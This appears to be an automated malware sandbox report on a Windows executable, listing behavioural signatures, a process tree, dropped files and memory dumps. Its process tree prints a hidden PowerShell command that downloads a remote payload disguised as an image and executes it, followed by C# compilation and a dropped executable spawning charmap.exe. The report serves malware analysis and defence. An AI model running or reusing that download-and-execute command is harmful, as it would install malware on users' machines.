Analysis
- max time kernel
149s - max time network
144s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
23/04/2026, 12:54
General
- Target _791dcc176d228f425955ae154a4648c7258e314f0655005ab17f021c12c45443.exe
- Size 103KB
- Sample260423-p5hbpsd17x
- SHA256 791dcc176d228f425955ae154a4648c7258e314f0655005ab17f021c12c45443
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops startup file 1 IoCs
- Executes dropped EXE 1 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 3 IoCs
- Suspicious use of SendNotifyMessage 3 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\_791dcc176d228f425955ae154a4648c7258e314f0655005ab17f021c12c45443.exe"C:\Users\Admin\AppData\Local\Temp\_791dcc176d228f425955ae154a4648c7258e314f0655005ab17f021c12c45443.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\F889.tmp\F88A.tmp\F88B.bat C:\Users\Admin\AppData\Local\Temp\_791dcc176d228f425955ae154a4648c7258e314f0655005ab17f021c12c45443.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h iex(irm https://d.tmpfile.link/public/2026-04-22/281d7409-d8fa-4744-a66a-e16737f390b1/ghhjgr.png)3⤵
- Badlisted process makes network request
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yf1j35yt\yf1j35yt.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFE55.tmp" "c:\Users\Admin\AppData\Local\Temp\yf1j35yt\CSC8137F7CB5155474B92F516E9B2578E54.TMP"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\zjcgrocujxdquegvwhewbkebtswl.exe"C:\Users\Admin\AppData\Local\Temp\zjcgrocujxdquegvwhewbkebtswl.exe" "C:\Users\Admin\AppData\Local\Temp\cmozr"4⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\charmap.exeC:\Windows\System32\charmap.exe5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
F88B.bat
RESFE55.tmp
__PSScriptPolicyTest_hn52buej.k3m.ps1
cmozr
litrsqcrusgwk
yf1j35yt.dll
zjcgrocujxdquegvwhewbkebtswl.exe
CSC8137F7CB5155474B92F516E9B2578E54.TMP
yf1j35yt.0.cs
yf1j35yt.cmdline
memory/652-3-0x00000000006B0000-0x00000000006FA000-memory.dmp
memory/652-0-0x0000000000417000-0x0000000000418000-memory.dmp
memory/764-47-0x0000021CB41D0000-0x0000021CB4217000-memory.dmp
memory/764-50-0x0000021CD0E30000-0x0000021CD1358000-memory.dmp
memory/764-58-0x0000021CB44C0000-0x0000021CB466C000-memory.dmp
memory/764-60-0x0000021CD1360000-0x0000021CD1372000-memory.dmp
memory/764-59-0x0000021CCE940000-0x0000021CCE94C000-memory.dmp
memory/764-49-0x0000021CB5FA0000-0x0000021CB5FC8000-memory.dmp
memory/764-46-0x0000021CB41D0000-0x0000021CB4217000-memory.dmp
memory/764-48-0x0000021CB41D0000-0x0000021CB4217000-memory.dmp
memory/764-45-0x0000021CB41D0000-0x0000021CB4217000-memory.dmp
memory/764-43-0x0000021CB41D0000-0x0000021CB4217000-memory.dmp
memory/2088-30-0x000001D0CC7D0000-0x000001D0CC7DC000-memory.dmp
memory/2088-29-0x000001D0CC590000-0x000001D0CC73C000-memory.dmp
memory/3356-44-0x000002F2C13A0000-0x000002F2C153A000-memory.dmp
memory/3424-26-0x0000022AE9F80000-0x0000022AE9F8C000-memory.dmp
memory/4384-15-0x000001C517520000-0x000001C517530000-memory.dmp
memory/4384-32-0x000001C52FD00000-0x000001C52FD08000-memory.dmp
memory/4384-6-0x000001C517520000-0x000001C517530000-memory.dmp
memory/4384-57-0x000001C5174E0000-0x000001C5174F2000-memory.dmp
memory/4384-56-0x000001C517150000-0x000001C51715C000-memory.dmp
memory/4384-55-0x000001C515610000-0x000001C5157AA000-memory.dmp
memory/4384-16-0x000001C52FED0000-0x000001C530092000-memory.dmp
memory/4384-7-0x000001C517520000-0x000001C517530000-memory.dmp
memory/4384-8-0x000001C52F840000-0x000001C52F862000-memory.dmp